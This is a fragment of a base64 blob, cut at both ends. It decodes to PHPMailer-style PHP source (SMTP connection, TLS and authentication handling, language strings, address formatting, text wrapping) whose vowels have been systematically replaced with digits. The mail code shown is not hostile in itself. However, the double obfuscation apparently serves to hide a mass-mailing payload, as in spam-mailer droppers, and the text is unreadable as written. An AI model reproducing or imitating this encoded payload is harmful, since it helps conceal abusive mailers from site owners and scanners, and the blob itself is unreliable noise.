hjMjNudCgkYjFkX3JjcHQpID4gMCkgew0KICAgICAgICAgICAgJDVycnN0ciA9ICcnOw0KICAgICAgICAgICAgZjJyNTFjaCAoJGIxZF9yY3B0IDFzICRiMWQpIHsNCiAgICAgICAgICAgICAgICAkNXJyc3RyIC49ICRiMWRbJ3QyJ10gLiAnOiAnIC4gJGIxZFsnNXJyMnInXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oDQogICAgICAgICAgICAgICAgJHRoNHMtPmwxbmcoJ3I1YzRwNDVudHNfZjE0bDVkJykgLiAkNXJyc3RyLA0KICAgICAgICAgICAgICAgIHM1bGY6OlNUT1BfQ09OVElOVUUNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogSW40dDQxdDUgMSBjMm5uNWN0NDJuIHQyIDFuIFNNVFAgczVydjVyLg0KICAgICAqIFI1dDNybnMgZjFsczUgNGYgdGg1IDJwNXIxdDQybiBmMTRsNWQuDQogICAgICogQHAxcjFtIDFycjF5ICQycHQ0Mm5zIEFuIDFycjF5IDJmIDJwdDQybnMgYzJtcDF0NGJsNSB3NHRoIHN0cjUxbV9jMm50NXh0X2NyNTF0NSgpDQogICAgICogQDNzNXMgU01UUA0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gc210cEMybm41Y3QoJDJwdDQybnMgPSAxcnIxeSgpKQ0KICAgIHsNCiAgICAgICAgNGYgKDRzX24zbGwoJHRoNHMtPnNtdHApKSB7DQogICAgICAgICAgICAkdGg0cy0+c210cCA9ICR0aDRzLT5nNXRTTVRQSW5zdDFuYzUoKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFscjUxZHkgYzJubjVjdDVkPw0KICAgICAgICA0ZiAoJHRoNHMtPnNtdHAtPmMybm41Y3Q1ZCgpKSB7DQogICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aDRzLT5zbXRwLT5zNXRUNG01MjN0KCR0aDRzLT5UNG01MjN0KTsNCiAgICAgICAgJHRoNHMtPnNtdHAtPnM1dEQ1YjNnTDV2NWwoJHRoNHMtPlNNVFBENWIzZyk7DQogICAgICAgICR0aDRzLT5zbXRwLT5zNXRENWIzZ08zdHAzdCgkdGg0cy0+RDViM2cyM3RwM3QpOw0KICAgICAgICAkdGg0cy0+c210cC0+czV0VjVycCgkdGg0cy0+ZDJfdjVycCk7DQogICAgICAgICRoMnN0cyA9IDV4cGwyZDUoJzsnLCAkdGg0cy0+SDJzdCk7DQogICAgICAgICRsMXN0NXhjNXB0NDJuID0gbjNsbDsNCg0KICAgICAgICBmMnI1MWNoICgkaDJzdHMgMXMgJGgyc3Q1bnRyeSkgew0KICAgICAgICAgICAgJGgyc3Q0bmYyID0gMXJyMXkoKTsNCiAgICAgICAgICAgIDRmICghcHI1Z19tMXRjaCgnL14oKHNzbHx0bHMpOlwvXC8pKihbMS16QS1aMC05XC4tXSopOj8oWzAtOV0qKSQvJywgdHI0bSgkaDJzdDVudHJ5KSwgJGgyc3Q0bmYyKSkgew0KICAgICAgICAgICAgICAgIC8vIE4ydCAxIHYxbDRkIGgyc3QgNW50cnkNCiAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vICRoMnN0NG5mMlthXTogMnB0NDJuMWwgc3NsIDJyIHRscyBwcjVmNHgNCiAgICAgICAgICAgIC8vICRoMnN0NG5mMltvXTogdGg1IGgyc3RuMW01DQogICAgICAgICAgICAvLyAkaDJzdDRuZjJbdV06IDJwdDQybjFsIHAycnQgbjNtYjVyDQogICAgICAgICAgICAvLyBUaDUgaDJzdCBzdHI0bmcgcHI1ZjR4IGMxbiB0NW1wMnIxcjRseSAydjVycjRkNSB0aDUgYzNycjVudCBzNXR0NG5nIGYyciBTTVRQUzVjM3I1DQogICAgICAgICAgICAvLyBJZiA0dCdzIG4ydCBzcDVjNGY0NWQsIHRoNSBkNWYxM2x0IHYxbDM1IDRzIDNzNWQNCiAgICAgICAgICAgICRwcjVmNHggPSAnJzsNCiAgICAgICAgICAgICRzNWMzcjUgPSAkdGg0cy0+U01UUFM1YzNyNTsNCiAgICAgICAgICAgICR0bHMgPSAoJHRoNHMtPlNNVFBTNWMzcjUgPT0gJ3RscycpOw0KICAgICAgICAgICAgNGYgKCdzc2wnID09ICRoMnN0NG5mMlthXSAyciAoJycgPT0gJGgyc3Q0bmYyW2FdIDFuZCAnc3NsJyA9PSAkdGg0cy0+U01UUFM1YzNyNSkpIHsNCiAgICAgICAgICAgICAgICAkcHI1ZjR4ID0gJ3NzbDovLyc7DQogICAgICAgICAgICAgICAgJHRscyA9IGYxbHM1OyAvLyBDMW4ndCBoMXY1IFNTTCAxbmQgVExTIDF0IHRoNSBzMW01IHQ0bTUNCiAgICAgICAgICAgICAgICAkczVjM3I1ID0gJ3NzbCc7DQogICAgICAgICAgICB9IDVsczU0ZiAoJGgyc3Q0bmYyW2FdID09ICd0bHMnKSB7DQogICAgICAgICAgICAgICAgJHRscyA9IHRyMzU7DQogICAgICAgICAgICAgICAgLy8gdGxzIGQyNXNuJ3QgM3M1IDEgcHI1ZjR4DQogICAgICAgICAgICAgICAgJHM1YzNyNSA9ICd0bHMnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy9EMiB3NSBuNTVkIHRoNSBPcDVuU1NMIDV4dDVuczQybj8NCiAgICAgICAgICAgICRzc2w1eHQgPSBkNWY0bjVkKCdPUEVOU1NMX0FMR09fU0hBNicpOw0KICAgICAgICAgICAgNGYgKCd0bHMnID09PSAkczVjM3I1IDJyICdzc2wnID09PSAkczVjM3I1KSB7DQogICAgICAgICAgICAgICAgLy9DaDVjayBmMnIgMW4gT3A1blNTTCBjMm5zdDFudCByMXRoNXIgdGgxbiAzczRuZyA1eHQ1bnM0Mm5fbDIxZDVkLCB3aDRjaCA0cyBzMm01dDRtNXMgZDRzMWJsNWQNCiAgICAgICAgICAgICAgICA0ZiAoISRzc2w1eHQpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXh0NW5zNDJuX200c3M0bmcnKS4nMnA1bnNzbCcsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRoMnN0ID0gJGgyc3Q0bmYyW29dOw0KICAgICAgICAgICAgJHAycnQgPSAkdGg0cy0+UDJydDsNCiAgICAgICAgICAgICR0cDJydCA9ICg0bnQ1ZzVyKSRoMnN0NG5mMlt1XTsNCiAgICAgICAgICAgIDRmICgkdHAycnQgPiAwIDFuZCAkdHAycnQgPCBlaWlvZSkgew0KICAgICAgICAgICAgICAgICRwMnJ0ID0gJHRwMnJ0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKCR0aDRzLT5zbXRwLT5jMm5uNWN0KCRwcjVmNHggLiAkaDJzdCwgJHAycnQsICR0aDRzLT5UNG01MjN0LCAkMnB0NDJucykpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPkg1bDIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRoNWxsMiA9ICR0aDRzLT5INWwyOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGg1bGwyID0gJHRoNHMtPnM1cnY1ckgyc3RuMW01KCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnNtdHAtPmg1bGwyKCRoNWxsMik7DQogICAgICAgICAgICAgICAgICAgIC8vQTN0Mm0xdDRjMWxseSA1bjFibDUgVExTIDVuY3J5cHQ0Mm4gNGY6DQogICAgICAgICAgICAgICAgICAgIC8vICogNHQncyBuMnQgZDRzMWJsNWQNCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3NSBoMXY1IDJwNW5zc2wgNXh0NW5zNDJuDQogICAgICAgICAgICAgICAgICAgIC8vICogdzUgMXI1IG4ydCAxbHI1MWR5IDNzNG5nIFNTTA0KICAgICAgICAgICAgICAgICAgICAvLyAqIHRoNSBzNXJ2NXIgMmZmNXJzIFNUQVJUVExTDQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+U01UUEEzdDJUTFMgMW5kICRzc2w1eHQgMW5kICRzNWMzcjUgIT0gJ3NzbCcgMW5kICR0aDRzLT5zbXRwLT5nNXRTNXJ2NXJFeHQoJ1NUQVJUVExTJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0bHMgPSB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGxzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zbXRwLT5zdDFydFRMUygpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnYzJubjVjdF9oMnN0JykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gVzUgbTNzdCByNXM1bmQgSEVMTyAxZnQ1ciB0bHMgbjVnMnQ0MXQ0Mm4NCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5zbXRwLT5oNWxsMigkaDVsbDIpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+U01UUEEzdGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnNtdHAtPjEzdGg1bnQ0YzF0NSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+VXM1cm4xbTUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlAxc3N3MnJkLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5BM3RoVHlwNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UjUxbG0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlcycmtzdDF0NDJuDQogICAgICAgICAgICAgICAgICAgICAgICApDQogICAgICAgICAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCcxM3RoNW50NGMxdDUnKSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICAgICAgICAgJGwxc3Q1eGM1cHQ0Mm4gPSAkNXhjOw0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICAgICAgICAgIC8vIFc1IG0zc3QgaDF2NSBjMm5uNWN0NWQsIGIzdCB0aDVuIGYxNGw1ZCBUTFMgMnIgQTN0aCwgczIgY2wyczUgYzJubjVjdDQybiBuNGM1bHkNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnNtdHAtPnEzNHQoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgLy8gSWYgdzUgZzV0IGg1cjUsIDFsbCBjMm5uNWN0NDJuIDF0dDVtcHRzIGgxdjUgZjE0bDVkLCBzMiBjbDJzNSBjMm5uNWN0NDJuIGgxcmQNCiAgICAgICAgJHRoNHMtPnNtdHAtPmNsMnM1KCk7DQogICAgICAgIC8vIEFzIHc1J3Y1IGMxM2dodCAxbGwgNXhjNXB0NDJucywgajNzdCByNXAycnQgd2gxdDV2NXIgdGg1IGwxc3QgMm41IHcxcw0KICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMgMW5kICE0c19uM2xsKCRsMXN0NXhjNXB0NDJuKSkgew0KICAgICAgICAgICAgdGhyMncgJGwxc3Q1eGM1cHQ0Mm47DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENsMnM1IHRoNSAxY3Q0djUgU01UUCBzNXNzNDJuIDRmIDJuNSA1eDRzdHMuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHNtdHBDbDJzNSgpDQogICAgew0KICAgICAgICA0ZiAoJHRoNHMtPnNtdHAgIT09IG4zbGwpIHsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+c210cC0+YzJubjVjdDVkKCkpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+c210cC0+cTM0dCgpOw0KICAgICAgICAgICAgICAgICR0aDRzLT5zbXRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IHRoNSBsMW5nMzFnNSBmMnIgNXJyMnIgbTVzczFnNXMuDQogICAgICogUjV0M3JucyBmMWxzNSA0ZiA0dCBjMW5uMnQgbDIxZCB0aDUgbDFuZzMxZzUgZjRsNS4NCiAgICAgKiBUaDUgZDVmMTNsdCBsMW5nMzFnNSA0cyBFbmdsNHNoLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGwxbmdjMmQ1IElTTyBlbzktNiBhLWNoMXIxY3Q1ciBsMW5nMzFnNSBjMmQ1ICg1LmcuIEZyNW5jaCA0cyAiZnIiKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGwxbmdfcDF0aCBQMXRoIHQyIHRoNSBsMW5nMzFnNSBmNGw1IGQ0cjVjdDJyeSwgdzR0aCB0cjE0bDRuZyBzNXAxcjF0MnIgKHNsMXNoKQ0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1dEwxbmczMWc1KCRsMW5nYzJkNSA9ICc1bicsICRsMW5nX3AxdGggPSAnJykNCiAgICB7DQogICAgICAgIC8vIEQ1ZjRuNSBmM2xsIHM1dCAyZiB0cjFuc2wxdDFibDUgc3RyNG5ncyA0biBFbmdsNHNoDQogICAgICAgICRQSFBNQUlMRVJfTEFORyA9IDFycjF5KA0KICAgICAgICAgICAgJzEzdGg1bnQ0YzF0NScgPT4gJ1NNVFAgRXJyMnI6IEMyM2xkIG4ydCAxM3RoNW50NGMxdDUuJywNCiAgICAgICAgICAgICdjMm5uNWN0X2gyc3QnID0+ICdTTVRQIEVycjJyOiBDMjNsZCBuMnQgYzJubjVjdCB0MiBTTVRQIGgyc3QuJywNCiAgICAgICAgICAgICdkMXQxX24ydF8xY2M1cHQ1ZCcgPT4gJ1NNVFAgRXJyMnI6IGQxdDEgbjJ0IDFjYzVwdDVkLicsDQogICAgICAgICAgICAnNW1wdHlfbTVzczFnNScgPT4gJ001c3MxZzUgYjJkeSA1bXB0eScsDQogICAgICAgICAgICAnNW5jMmQ0bmcnID0+ICdVbmtuMnduIDVuYzJkNG5nOiAnLA0KICAgICAgICAgICAgJzV4NWMzdDUnID0+ICdDMjNsZCBuMnQgNXg1YzN0NTogJywNCiAgICAgICAgICAgICdmNGw1XzFjYzVzcycgPT4gJ0MyM2xkIG4ydCAxY2M1c3MgZjRsNTogJywNCiAgICAgICAgICAgICdmNGw1XzJwNW4nID0+ICdGNGw1IEVycjJyOiBDMjNsZCBuMnQgMnA1biBmNGw1OiAnLA0KICAgICAgICAgICAgJ2ZyMm1fZjE0bDVkJyA9PiAnVGg1IGYybGwydzRuZyBGcjJtIDFkZHI1c3MgZjE0bDVkOiAnLA0KICAgICAgICAgICAgJzRuc3QxbnQ0MXQ1JyA9PiAnQzIzbGQgbjJ0IDRuc3QxbnQ0MXQ1IG0xNGwgZjNuY3Q0Mm4uJywNCiAgICAgICAgICAgICc0bnYxbDRkXzFkZHI1c3MnID0+ICdJbnYxbDRkIDFkZHI1c3M6ICcsDQogICAgICAgICAgICAnbTE0bDVyX24ydF9zM3BwMnJ0NWQnID0+ICcgbTE0bDVyIDRzIG4ydCBzM3BwMnJ0NWQuJywNCiAgICAgICAgICAgICdwcjJ2NGQ1XzFkZHI1c3MnID0+ICdZMjMgbTNzdCBwcjJ2NGQ1IDF0IGw1MXN0IDJuNSByNWM0cDQ1bnQgNW0xNGwgMWRkcjVzcy4nLA0KICAgICAgICAgICAgJ3I1YzRwNDVudHNfZjE0bDVkJyA9PiAnU01UUCBFcnIycjogVGg1IGYybGwydzRuZyByNWM0cDQ1bnRzIGYxNGw1ZDogJywNCiAgICAgICAgICAgICdzNGduNG5nJyA9PiAnUzRnbjRuZyBFcnIycjogJywNCiAgICAgICAgICAgICdzbXRwX2Mybm41Y3RfZjE0bDVkJyA9PiAnU01UUCBjMm5uNWN0KCkgZjE0bDVkLicsDQogICAgICAgICAgICAnc210cF81cnIycicgPT4gJ1NNVFAgczVydjVyIDVycjJyOiAnLA0KICAgICAgICAgICAgJ3YxcjQxYmw1X3M1dCcgPT4gJ0Mxbm4ydCBzNXQgMnIgcjVzNXQgdjFyNDFibDU6ICcsDQogICAgICAgICAgICAnNXh0NW5zNDJuX200c3M0bmcnID0+ICdFeHQ1bnM0Mm4gbTRzczRuZzogJw0KICAgICAgICApOw0KICAgICAgICA0ZiAoNW1wdHkoJGwxbmdfcDF0aCkpIHsNCiAgICAgICAgICAgIC8vIEMxbGMzbDF0NSAxbiAxYnMybDN0NSBwMXRoIHMyIDR0IGMxbiB3MnJrIDRmIENXRCA0cyBuMnQgaDVyNQ0KICAgICAgICAgICAgJGwxbmdfcDF0aCA9IGQ0cm4xbTUoX19GSUxFX18pLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2wxbmczMWc1Jy4gRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgfQ0KICAgICAgICAkZjIzbmRsMW5nID0gdHIzNTsNCiAgICAgICAgJGwxbmdfZjRsNSA9ICRsMW5nX3AxdGggLiAncGhwbTE0bDVyLmwxbmctJyAuICRsMW5nYzJkNSAuICcucGhwJzsNCiAgICAgICAgLy8gVGg1cjUgNHMgbjIgRW5nbDRzaCB0cjFuc2wxdDQybiBmNGw1DQogICAgICAgIDRmICgkbDFuZ2MyZDUgIT0gJzVuJykgew0KICAgICAgICAgICAgLy8gTTFrNSBzM3I1IGwxbmczMWc1IGY0bDUgcDF0aCA0cyByNTFkMWJsNQ0KICAgICAgICAgICAgNGYgKCE0c19yNTFkMWJsNSgkbDFuZ19mNGw1KSkgew0KICAgICAgICAgICAgICAgICRmMjNuZGwxbmcgPSBmMWxzNTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgLy8gT3Y1cndyNHQ1IGwxbmczMWc1LXNwNWM0ZjRjIHN0cjRuZ3MuDQogICAgICAgICAgICAgICAgLy8gVGg0cyB3MXkgdzUnbGwgbjV2NXIgaDF2NSBtNHNzNG5nIHRyMW5zbDF0NDJuIGs1eXMuDQogICAgICAgICAgICAgICAgJGYyM25kbDFuZyA9IDRuY2wzZDUgJGwxbmdfZjRsNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+bDFuZzMxZzUgPSAkUEhQTUFJTEVSX0xBTkc7DQogICAgICAgIHI1dDNybiAoYjIybDUxbikkZjIzbmRsMW5nOyAvLyBSNXQzcm5zIGYxbHM1IDRmIGwxbmczMWc1IG4ydCBmMjNuZA0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCB0aDUgMXJyMXkgMmYgc3RyNG5ncyBmMnIgdGg1IGMzcnI1bnQgbDFuZzMxZzUuDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRUcjFuc2wxdDQybnMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5sMW5nMzFnNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcjUxdDUgcjVjNHA0NW50IGg1MWQ1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0eXA1DQogICAgICogQHAxcjFtIDFycjF5ICQxZGRyIEFuIDFycjF5IDJmIHI1YzRwNDVudCwNCiAgICAgKiB3aDVyNSA1MWNoIHI1YzRwNDVudCA0cyAxIGEtNWw1bTVudCA0bmQ1eDVkIDFycjF5IHc0dGggNWw1bTVudCAwIGMybnQxNG40bmcgMW4gMWRkcjVzcw0KICAgICAqIDFuZCA1bDVtNW50IDYgYzJudDE0bjRuZyAxIG4xbTUsIGw0azU6DQogICAgICogMXJyMXkoMXJyMXkoJ2oyNUA1eDFtcGw1LmMybScsICdKMjUgVXM1cicpLCAxcnIxeSgnejI1QDV4MW1wbDUuYzJtJywgJ1oyNSBVczVyJykpDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkckFwcDVuZCgkdHlwNSwgJDFkZHIpDQogICAgew0KICAgICAgICAkMWRkcjVzczVzID0gMXJyMXkoKTsNCiAgICAgICAgZjJyNTFjaCAoJDFkZHIgMXMgJDFkZHI1c3MpIHsNCiAgICAgICAgICAgICQxZGRyNXNzNXNbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCQxZGRyNXNzKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJHR5cDUgLiAnOiAnIC4gNG1wbDJkNSgnLCAnLCAkMWRkcjVzczVzKSAuICR0aDRzLT5MRTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGMnJtMXQgMW4gMWRkcjVzcyBmMnIgM3M1IDRuIDEgbTVzczFnNSBoNTFkNXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gMXJyMXkgJDFkZHIgQSBhLTVsNW01bnQgNG5kNXg1ZCAxcnIxeSwgNWw1bTVudCAwIGMybnQxNG40bmcgMW4gMWRkcjVzcywgNWw1bTVudCA2IGMybnQxNG40bmcgMSBuMW01DQogICAgICogICAgICBsNGs1IDFycjF5KCdqMjVANXgxbXBsNS5jMm0nLCAnSjI1IFVzNXInKQ0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZHJGMnJtMXQoJDFkZHIpDQogICAgew0KICAgICAgICA0ZiAoNW1wdHkoJDFkZHJbNl0pKSB7IC8vIE4yIG4xbTUgcHIydjRkNWQNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+czVjM3I1SDUxZDVyKCQxZGRyWzBdKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJDFkZHJbNl0pLCAncGhyMXM1JykgLiAnIDwnIC4gJHRoNHMtPnM1YzNyNUg1MWQ1cigNCiAgICAgICAgICAgICAgICAkMWRkclswXQ0KICAgICAgICAgICAgKSAuICc+JzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFcycmQtd3IxcCBtNXNzMWc1Lg0KICAgICAqIEYyciAzczUgdzR0aCBtMTRsNXJzIHRoMXQgZDIgbjJ0IDEzdDJtMXQ0YzFsbHkgcDVyZjJybSB3cjFwcDRuZw0KICAgICAqIDFuZCBmMnIgcTMydDVkLXByNG50MWJsNSA1bmMyZDVkIG01c3MxZzVzLg0KICAgICAqIE9yNGc0bjFsIHdyNHR0NW4gYnkgcGg0bDRwcDUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbTVzczFnNSBUaDUgbTVzczFnNSB0MiB3cjFwDQogICAgICogQHAxcjFtIDRudDVnNXIgJGw1bmd0aCBUaDUgbDRuNSBsNW5ndGggdDIgd3IxcCB0Mg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICRxcF9tMmQ1IFdoNXRoNXIgdDIgcjNuIDRuIFEzMnQ1ZC1QcjRudDFibDUgbTJkNQ0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gd3IxcFQ1eHQoJG01c3MxZzUsICRsNW5ndGgsICRxcF9tMmQ1ID0gZjFsczUpDQogICAgew0KICAgICAgICA0ZiAoJHFwX20yZDUpIHsNCiAgICAgICAgICAgICRzMmZ0X2JyNTFrID0gc3ByNG50ZignID0lcycsICR0aDRzLT5MRSk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkczJmdF9icjUxayA9ICR0aDRzLT5MRTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBJZiAzdGYtOCA1bmMyZDRuZyA0cyAzczVkLCB3NSB3NGxsIG41NWQgdDIgbTFrNSBzM3I1IHc1IGQybid0DQogICAgICAgIC8vIHNwbDR0IG0zbHQ0Ynl0NSBjaDFyMWN0NXJzIHdoNW4gdzUgd3IxcA0KICAgICAgICAkNHNfM3RmOCA9IChzdHJ0MmwydzVyKCR0aDRzLT5DaDFyUzV0KSA9PSAnM3RmLTgnKTsNCiAgICAgICAgJGw1bDVuID0gc3RybDVuKCR0aDRzLT5MRSk7DQogICAgICAgICRjcmxmbDVuID0gc3RybDVuKHM1bGY6OkNSTEYpOw0KDQogICAgICAgICRtNXNzMWc1ID0gJHRoNHMtPmY0eEVPTCgkbTVzczFnNSk7DQogICAgICAgIC8vUjVtMnY1IDEgdHIxNGw0bmcgbDRuNSBicjUxaw0KICAgICAgICA0ZiAoczNic3RyKCRtNXNzMWc1LCAtJGw1bDVuKSA9PSAkdGg0cy0+TEUpIHsNCiAgICAgICAgICAgICRtNXNzMWc1ID0gczNic3RyKCRtNXNzMWc1LCAwLCAtJGw1bDVuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vU3BsNHQgbTVzczFnNSA0bnQyIGw0bjVzDQogICAgICAgICRsNG41cyA9IDV4cGwyZDUoJHRoNHMtPkxFLCAkbTVzczFnNSk7DQogICAgICAgIC8vTTVzczFnNSB3NGxsIGI1IHI1YjM0bHQgNG4gaDVyNQ0KICAgICAgICAkbTVzczFnNSA9ICcnOw0KICAgICAgICBmMnI1MWNoICgkbDRuNXMgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICR3MnJkcyA9IDV4cGwyZDUoJyAnLCAkbDRuNSk7DQogICAgICAgICAgICAkYjNmID0gJyc7DQogICAgICAgICAgICAkZjRyc3R3MnJkID0gdHIzNTsNCiAgICAgICAgICAgIGYycjUxY2ggKCR3MnJkcyAxcyAkdzJyZCkgew0KICAgICAgICAgICAgICAgIDRmICgkcXBfbTJkNSAxbmQgKHN0cmw1bigkdzJyZCkgPiAkbDVuZ3RoKSkgew0KICAgICAgICAgICAgICAgICAgICAkc3AxYzVfbDVmdCA9ICRsNW5ndGggLSBzdHJsNW4oJGIzZikgLSAkY3JsZmw1bjsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCEkZjRyc3R3MnJkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHNwMWM1X2w1ZnQgPiBhMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4gPSAkc3AxYzVfbDVmdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDRzXzN0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGw1biA9ICR0aDRzLT4zdGY4Q2gxckIyM25kMXJ5KCR3MnJkLCAkbDVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZiAoczNic3RyKCR3MnJkLCAkbDVuIC0gNiwgNikgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZiAoczNic3RyKCR3MnJkLCAkbDVuIC0gYSwgNikgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4gLT0gYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHAxcnQgPSBzM2JzdHIoJHcycmQsIDAsICRsNW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3MnJkID0gczNic3RyKCR3MnJkLCAkbDVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYjNmIC49ICcgJyAuICRwMXJ0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1IC49ICRiM2YgLiBzcHI0bnRmKCc9JXMnLCBzNWxmOjpDUkxGKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgI